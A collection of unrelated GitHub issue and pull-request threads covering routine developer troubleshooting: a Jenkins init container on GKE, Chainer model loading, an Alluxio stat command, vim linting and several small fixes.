Type:       PersistentVolumeClaim (a reference to a PersistentVolumeClaim in the same namespace)
ClaimName:  beta-jenkins-pvc
ReadOnly:   false
jenkinsv2-token-jt6lc:
Type:        Secret (a volume populated by a Secret)
SecretName:  jenkinsv2-token-jt6lc
Optional:    false
QoS Class:       Burstable
Node-Selectors:
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
node.kubernetes.io/unreachable:NoExecute for 300s
Events:
Type    Reason                  Age                  From                                                          Message

Normal  Scheduled               12m                  default-scheduler                                             Successfully assigned jenkins/jenkinsv2-8699b759dd-bj6kq to gke-beta-jf-sf-clust-default-capacity-30324954-ktzf
Normal  SuccessfulAttachVolume  12m                  attachdetach-controller                                       AttachVolume.Attach succeeded for volume "beta-jenkins-pv"
Normal  Pulling                 3m27s (x2 over 12m)  kubelet, gke-beta-jf-sf-clust-default-capacity-30324954-ktzf  pulling image "jenkins/jenkins:lts"
Normal  Pulled                  3m27s (x2 over 12m)  kubelet, gke-beta-jf-sf-clust-default-capacity-30324954-ktzf  Successfully pulled image "jenkins/jenkins:lts"
Normal  Created                 3m27s (x2 over 12m)  kubelet, gke-beta-jf-sf-clust-default-capacity-30324954-ktzf  Created container
Normal  Started                 3m27s (x2 over 12m)  kubelet, gke-beta-jf-sf-clust-default-capacity-30324954-ktzf  Started container

root@jf-sf-bastion-host:~/betayaml# kubectl logs jenkinsv2-8699b759dd-bj6kq -n jenkins
Error from server (BadRequest): container "jenkinsv2" in pod "jenkinsv2-8699b759dd-bj6kq" is waiting to start: PodInitializing

Hello, we need urgent help.

From what I see from the logs your Init Container is crashing.
You can use the --previous flag to get logs from the previous run. Combine that with the -c flag to specify the container (in this case, copy-default-config).
Btw use ``` myCode ``` to format the code (https://help.github.com/en/articles/creating-and-highlighting-code-blocks)

We are running Jenkins Pod in a Private GKE cluster

@manojshetty28 You already said this in the issue description. I suggest to step into it using the suggestion from @eh-am
The logs from the failing init container would be helpful.
Did it work ever before with that pre-existing PVC? If not it could be an permission issue e.g. that the script is not able to write to disk.
The init container copy-default-config is defined here
https://github.com/helm/charts/blob/master/stable/jenkins/templates/jenkins-master-deployment.yaml#L83-L146 and the content of the apply_config.sh script.
Yours might differ depending of the version of the chart. You can always check the generated resources within your cluster. Digging into it is something only you would be able to to as long as you can't provide steps how to reproduce the issue. A lot depends on your setup e.g. the content of the existing disk.


Issue with Failed to load resource: net::ERR_FILE_NOT_FOUND bubble.js : 1

How to handle this error: Failed to load resource: net::ERR_FILE_NOT_FOUND bubble.js : 1

yes the same error

here, too bundle.js is missing from the repo. I downloaded it here: http://360-image-viewer-test.surge.sh/bundle.js


T2* mapping model

Purpose
T2* mapping model working with default parameters
Open Questions and Pre-Merge TODOs

[ ] Use github checklists. When solved, check the box and explain the answer.

[ ] Review that changed source files/lines are related to the pull request/issue
If any files/commits were accidentally included, cherry-pick them into another branch.

[ ] Review that changed source files/lines were not accidentally deleted
Fix appropriately if so.

[ ] Test new features or bug fix
If not implemented/resolved adequately, solve it or inform the developer by requesting changes in your review.
Preferably, set breakpoints in the locations that the code was changed and follow allong line by line to see if the code behaves as intended.

Manual GUI tests (general)

[x] Does the qMRLab GUI open?
[x] Can you change models?
[x] Can you load a data folder for a model?
[x] Can you view data?
[x] Can you zoom in the image?
[x] Can you pan out of the image?
[ ] Can you view the histogram of the data?
[x] Can you change the color map?
[x] Can you fit dataset (Fit data)?
[x] Can you save/load the results?
[x] Can you open the options panel?
[x] Can you change option parameters?
[ ] Can you save/load option paramters?
[ ] Can you select a voxel?
[ ] Can you fit the data of that voxel ("View data fit")?
[ ] Can you simulate and fit a voxel ("Single Voxel Curve")?
[ ] Can you run a Sensitivity Analysis?
[ ] Can you simulate a Multi Voxel Distribution?

@jvelazquez-reyes for tests we may consider a really small dataset for this model.

Is there any available on OSF?

Not yet, but if you can crop the images to a smaller extent, we can add it.

Sorry to jump in on this, but I was wondering why this PR hasn't be merged. Does the T2* estimation code work?

Hi @tsalo - thanks for the ping, I'll have a look to see if it can get merged (the student in charge unfortunately left shortly after his last message here).
@agahkarakuzu do you recall why base was changed from master to usrjson? It doesn't seem related, but I'm not sure. There was an open PR https://github.com/qMRLab/qMRLab/pull/435#issuecomment-1173979983 but I never got confirmation if that one was ready for review too.


Demographic Analysis

fixes #297
@sanjay-kv i completed issue #297 could you please review it

@sanjay-kv sir i have implement this idea over Stack_Overflow2018 file , now can you chake once

I will take some time on this. sorry about that.

I will take some time on this. sorry about that.

@sanjay-kv okay sir no issue take your time

@sanjay-kv has  review completed ?


Can not deserialize model

I use a model, which trained by GPU, to CPU only machine.
When executing examples/ptb/gentext.py based my program, the error occurs as following:
Traceback (most recent call last):
  File "predict.py", line 104, in <module>
    serializers.load_npz(args.model, model)
  File "/work/venv/py3/lib/python3.6/site-packages/chainer/serializers/npz.py", line 131, in load_npz
    d.load(obj)
  File "/work/venv/py3/lib/python3.6/site-packages/chainer/serializer.py", line 85, in load
    obj.serialize(self)
  File "/work/venv/py3/lib/python3.6/site-packages/chainer/link.py", line 691, in serialize
    d[name].serialize(serializer[name])
  File "/work/venv/py3/lib/python3.6/site-packages/chainer/link.py", line 691, in serialize
    d[name].serialize(serializer[name])
  File "/work/venv/py3/lib/python3.6/site-packages/chainer/link.py", line 691, in serialize
    d[name].serialize(serializer[name])
  File "/work/venv/py3/lib/python3.6/site-packages/chainer/link.py", line 482, in serialize
    serializer(name, d[name].data)
  File "/work/venv/py3/lib/python3.6/site-packages/chainer/serializers/npz.py", line 106, in __call__
    dataset = self.npz[key]
  File "/work/venv/py3/lib/python3.6/site-packages/numpy/lib/npyio.py", line 237, in __getitem__
    raise KeyError("%s is not a file in the archive" % key)
KeyError: 'predictor/l1/upward/W is not a file in the archive'

My environment is following:

Python3.6
chainer==1.23.0
numpy==1.12.1

Thank you for reporting a problem. Can you try to run this script with your model file? It shows all keys in the model file.
https://gist.github.com/unnonouno/d53069ca4d5905c4668cc2ef3544df3b

The result of that script is following:
$ python npz_keys.py ../model/0418.model
['predictor/embed/W', 'predictor/l1/W_r/W', 'predictor/l1/W_r/b', 'predictor/l1/U_r/W',
'predictor/l1/U_r/b', 'predictor/l1/W_z/W', 'predictor/l1/W_z/b', 'predictor/l1/U_z/W',
'predictor/l1/U_z/b', 'predictor/l1/W/W', 'predictor/l1/W/b', 'predictor/l1/U/W', 'predictor/l1/U/b',
'predictor/l2/W_r/W', 'predictor/l2/W_r/b', 'predictor/l2/U_r/W', 'predictor/l2/U_r/b',
'predictor/l2/W_z/W', 'predictor/l2/W_z/b', 'predictor/l2/U_z/W', 'predictor/l2/U_z/b',
'predictor/l2/W/W', 'predictor/l2/W/b', 'predictor/l2/U/W', 'predictor/l2/U/b', 'predictor/l3/W',
'predictor/l3/b']

Thank you.

Hum. Did you use GRU link in your implementation? Did you use correctly the same model on gentext.py? It looks that gentext.py tries to load LSTM link.
Chainer's serializer does not save model (Link) structure. You need to use the same model structure in both a train script and a test script.

No, I use same LSTM link both gentext.py and train_ptb.py.
But, the problem is solved  by downgrading chainer to version 1.7.0.

mmm. I can't understand why version 1.7.0 can load it. LSTM link in v1.7.0 also has upward and lateral link. https://github.com/pfnet/chainer/blob/v1.7.0/chainer/links/connection/lstm.py#L32 It must raises the same error with the model file because it does not have upward and lateral keys.

I'm having the same problem with serializers.load_npz(args.parm, model)
args.parm is the .model file generated by training
when I 'print(model)', it gives:
AlexNet(
(conv1): Convolution2D(in_channels=3, out_channels=96, ksize=11, stride=(4, 4), pad=(1, 1), nobias=False, dilate=(1, 1), groups=1),
(conv2): Convolution2D(in_channels=96, out_channels=256, ksize=5, stride=(1, 1), pad=(2, 2), nobias=False, dilate=(1, 1), groups=1),
(conv3): Convolution2D(in_channels=256, out_channels=384, ksize=3, stride=(1, 1), pad=(1, 1), nobias=False, dilate=(1, 1), groups=1),
(conv4): Convolution2D(in_channels=384, out_channels=384, ksize=3, stride=(1, 1), pad=(1, 1), nobias=False, dilate=(1, 1), groups=1),
(conv5): Convolution2D(in_channels=384, out_channels=256, ksize=3, stride=(1, 1), pad=(1, 1), nobias=False, dilate=(1, 1), groups=1),
(fc6): Linear(in_size=9216, out_size=4096, nobias=False),
(fc7): Linear(in_size=4096, out_size=4096, nobias=False),
(fc8): Linear(in_size=4096, out_size=14, nobias=False),
)
but I'm having error:
'fc8/b is not a file in the archive'
what's more 'fc8/b' here changes everytime I run serializers.load_npz(), for example it can be conv1/W, fc6/b etc..
Any idea why this is happening? Thank you very much for your help. The chainer version I'm using is 6.1.0.


fix double validation error

Pressing tab in an invalid editable field shows the validation error twice. Added a param to the validator function to disable notification in that case.

@jspaine thanks your contribution, I'll test it more, and did you enable another options? for example: expand, selection or something?

No, I just tried it with editable number, editable textarea with save button and custom editor.

Just realized I can use the examples to test... It seems to break expand-row-with-cellEdit but I'm not really sure what the expected behavior is. Here's what happens:

version
blurToSave
input valid
press tab:

original
false
true
blurs and appears to save

original
false
false
shows validation error

original
true
true
blurs and saves

original
true
false
shows double validation error

this
false
true
blurs and saves

this
false
false
input shakes but no error shown

this
true
true
blurs and saves

this
true
false
shows single validation error

I didn't see any examples of editable with selection but I'll see if I can test it too.

ok, so you means this PR will cause something broken for expand-row-with-cellEdit.js example?
and for using selection and celledit, I will check it also, BTW, if you want to use them both, there's nothing magic, But if you want to click to edit and also selection row, you need to configure options.selectRow.clickToSelectAndEditCell instead of options.selectRow.clickToSelect

I think the problem is that blurToSave=false doesn't really work, not because of this PR. I hadn't tried it before, but editing a cell in a table without blurToSave and pressing tab causes it to be saved...
The difference with this PR is that if you change the cell to something invalid and press tab it tries to save but doesn't trigger blur, so the cell shakes but no error is shown. If you press enter it works fine.
A quick fix is to just check if blurToSave is false and show the notification then too:

Released on v4.0.0, thanks your contributions.


Error for KerrGeoOrbit when a=0

It seems that the analytical method for KerrGeoOrbit returns expressions that are not manifestly real for $a=0$.
MWE:
orbit = KerrGeoOrbit[0, 20, 0.9, Cos[\[Pi]/8]];
{t, r, \[Theta], \[CurlyPhi]} = orbit["Trajectory"];
Show[ParametricPlot3D[{r[\[Lambda]] Sin[\[Theta][\[Lambda]]] Cos[\ \[CurlyPhi][\[Lambda]]],     r[\[Lambda]] Sin[\[Theta][\[Lambda]]] Sin[\[CurlyPhi][\[Lambda]]],     r[\[Lambda]] Cos[\[Theta][\[Lambda]]]}, {\[Lambda], 0, 20},    ImageSize -> 700, Boxed -> False, Axes -> False, PlotStyle -> Red,    PlotRange -> All], Graphics3D[{Black, Sphere[{0, 0, 0}, 2]}]]
Returns

This appears for any $p,e,x$ at $a=0$.

I am not sure why this error appears as the trajectory evaluates just fine and the plot also works. The error message only appears with ParametricPlot3D, and does not appear if you instead use a Table.


Unable to disable syntax checking/header searching with vim

First of all, I appreciate this awesome vim configuration. It's really helpful, well managed, and documented.
While I love syntax checking, but while working on huge projects, or sometimes using with CMake, I would prefer not finding lines highlighted in case a header file is not found. Please see a sample screenshot below: (this is a sample program, for obvious reasons this gets worse for me when am writing more lines of code)

(the error message in the above screenshot at the bottom reads: torch/torch.h: No such file or directory)

I'm using the awesome configuration version of this project.
I tried disabling ALE by commenting the section out in the vim configuration file (plugins_config.vim).

Can anyone help with this how can I get rid of these checks? I'm curious what plugin is causing this. I couldn't find any link to syntastic in the vim configuration files, since from what I understand - this projected shifted to ALE.
P.S: Before asking this question, I did search a lot and tried the ways suggested online, but couldn't find a workaround - but there might be something my poor eyes missed, so feel free to point me to the correct resource if you have any.

Ah, got it. Commenting out isn't the solution, I should have just toggled ALE state in the vim. :) Thanks!


Updated docs for setting git config user.name, user.email for MSFT hosted build agents

Added note that user.name and user.email must be set in the first step after checking out the code. If this is not set at the beginning these config git commands will not work specifically on Microsoft hosted build agents. This is after working with Microsoft support: TrackingID#2201260040007328

@walterstypula : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#label:"aq-pr-triaged"

@walterstypula Thank you for this helpful addition!
#sign-off

@ShannonLeavitt : Thanks for your contribution! The author(s) have been notified to review your proposed change.


[ALLUXIO-2447]Update fileInfoCommand to support get directory's info

https://alluxio.atlassian.net/browse/ALLUXIO-2447

Jenkins, test this please

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/12902/Failed Tests: 1org.alluxio:alluxio-tests: 1alluxio.shell.command.FileInfoCommandTest.fileInfoWildCard
Test FAILed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/12903/Failed Tests: 1org.alluxio:alluxio-tests: 1alluxio.shell.command.FileInfoCommandTest.fileInfoWildCard
Test FAILed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/12904/
Test PASSed.

@gjhkael Also, can you show a sample output of a the command performed on a directory? Thanks!

@gpang would it make sense to rename the command to getStatus as that's effectively what is going on internally?

If the path is a directory, the output as following:
/tmp/1111 is a directory and have 2 child
The directory's information as following:
FileInfo{fileId=9, name=1111, path=/tmp/1111, ufsPath=hdfs://svr4045hw2285.hadoop.lpt.qa.nt.ctripcorp.com:54310/tmp/1111, length=2, blockSizeBytes=0, creationTimeMs=1483581661717, completed=true, folder=true, pinned=false, cacheable=false, persisted=true, blockIds=[], inMemoryPercentage=0, lastModificationTimesMs=1483581663582, ttl=-1, ttlAction=DELETE, owner=op1, group=hadoop, mode=493, persistenceState=PERSISTED, mountPoint=false, fileBlockInfos=[]}
The childrens' information as following:
child 1:
FileInfo{fileId=536870911, name=_SUCCESS, path=/tmp/1111/_SUCCESS, ufsPath=hdfs://svr4045hw2285.hadoop.lpt.qa.nt.ctripcorp.com:54310/tmp/1111/_SUCCESS, length=0, blockSizeBytes=134217728, creationTimeMs=1483581663585, completed=true, folder=false, pinned=false, cacheable=true, persisted=true, blockIds=[], inMemoryPercentage=100, lastModificationTimesMs=1483581663586, ttl=-1, ttlAction=DELETE, owner=op1, group=hadoop, mode=420, persistenceState=PERSISTED, mountPoint=false, fileBlockInfos=[]}
Containing the following blocks:
child 2:
FileInfo{fileId=520093695, name=1.log, path=/tmp/1111/1.log, ufsPath=hdfs://svr4045hw2285.hadoop.lpt.qa.nt.ctripcorp.com:54310/tmp/1111/1.log, length=3328432, blockSizeBytes=134217728, creationTimeMs=1483581663578, completed=true, folder=false, pinned=false, cacheable=true, persisted=true, blockIds=[503316480], inMemoryPercentage=0, lastModificationTimesMs=1483581663578, ttl=-1, ttlAction=DELETE, owner=op1, group=hadoop, mode=420, persistenceState=PERSISTED, mountPoint=false, fileBlockInfos=[FileBlockInfo{blockInfo=BlockInfo{id=503316480, length=3328432, locations=[]}, offset=0, ufsLocations=[svr4045hw2285.hadoop.lpt.qa.nt.ctripcorp.com, svr4046hw2285.hadoop.lpt.qa.nt.ctripcorp.com]}]}
Containing the following blocks:
BlockInfo{id=503316480, length=3328432, locations=[]}
If the path is a file, the output as following:
/tmp/1111/1.log is a file and the information as following:
FileInfo{fileId=520093695, name=1.log, path=/tmp/1111/1.log, ufsPath=hdfs://svr4045hw2285.hadoop.lpt.qa.nt.ctripcorp.com:54310/tmp/1111/1.log, length=3328432, blockSizeBytes=134217728, creationTimeMs=1483581663578, completed=true, folder=false, pinned=false, cacheable=true, persisted=true, blockIds=[503316480], inMemoryPercentage=0, lastModificationTimesMs=1483581663578, ttl=-1, ttlAction=DELETE, owner=op1, group=hadoop, mode=420, persistenceState=PERSISTED, mountPoint=false, fileBlockInfos=[FileBlockInfo{blockInfo=BlockInfo{id=503316480, length=3328432, locations=[]}, offset=0, ufsLocations=[svr4045hw2285.hadoop.lpt.qa.nt.ctripcorp.com, svr4046hw2285.hadoop.lpt.qa.nt.ctripcorp.com]}]}
Containing the following blocks:
BlockInfo{id=503316480, length=3328432, locations=[]}

@jsimsa @calvinjia Is it ok to add or modify the shell commands to getStatus? I think it can be confusing for fileInfo to return info for directories.

I would be personally be okay with deprecating fileInfo and introducing getStatus in its place.

Possibly calling it stat to continue the analogy with local file system.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/12954/Failed Tests: 1org.alluxio:alluxio-tests: 1alluxio.shell.command.FileInfoCommandTest.fileInfoWildCard
Test FAILed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/12955/
Test PASSed.

stat seems suitable.

@gjhkael I have a question about the behavior of the command. Is there a reason why fileInfo on a directory needs to print out its children? Would just printing info about the directory itself (and no children) be enough? Thanks!

@gpang @gjhkael I'm also in favor of deprecating the fileInfo call since the name is not really reflective of what we want it to do.

After @calvinjia 's detailed interpretation, It does make sense.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/12983/
Test PASSed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13002/Failed Tests: 1org.alluxio:alluxio-core-client: 1alluxio.client.file.options.InStreamOptionsTest.defaults
Test FAILed.

alluxio-bot, check this please

Jenkins, test this please

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13003/Failed Tests: 2org.alluxio:alluxio-core-client: 1alluxio.client.file.options.InStreamOptionsTest.defaultsorg.alluxio:alluxio-tests: 1alluxio.master.file.FileSystemMasterIntegrationTest.concurrentFree
Test FAILed.

Jenkins, test this please

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13004/Failed Tests: 1org.alluxio:alluxio-core-client: 1alluxio.client.file.options.InStreamOptionsTest.defaults
Test FAILed.

Merged build finished. Test FAILed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13009/Failed Tests: 1org.alluxio:alluxio-core-client: 1alluxio.client.file.options.InStreamOptionsTest.defaults
Test FAILed.

Why the InStreamOptionsTest can not passed?

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13041/Failed Tests: 1org.alluxio:alluxio-tests: 1alluxio.shell.command.StatCommandTest.statDirectoryWildCard
Test FAILed.

Merged build finished. Test FAILed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13044/Failed Tests: 1org.alluxio:alluxio-tests: 1alluxio.master.file.FileSystemMasterIntegrationTest.concurrentCreate
Test FAILed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13060/
Test PASSed.

LGTM

@calvinjia Can this PR merge to master?

@gjhkael I had a few more minor comments, otherwise this looks good.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/13105/
Test PASSed.

Merged build finished. Test PASSed.

@calvinjia has your comments been addressed?


fix: add postcss-js typescript declaration

As always thanks mate <3

@cschroeter Anything else i can do?

@kovsu
If you feel adventurous you can try to give Skeleton a shot or implement the closed components for Vue (SFC)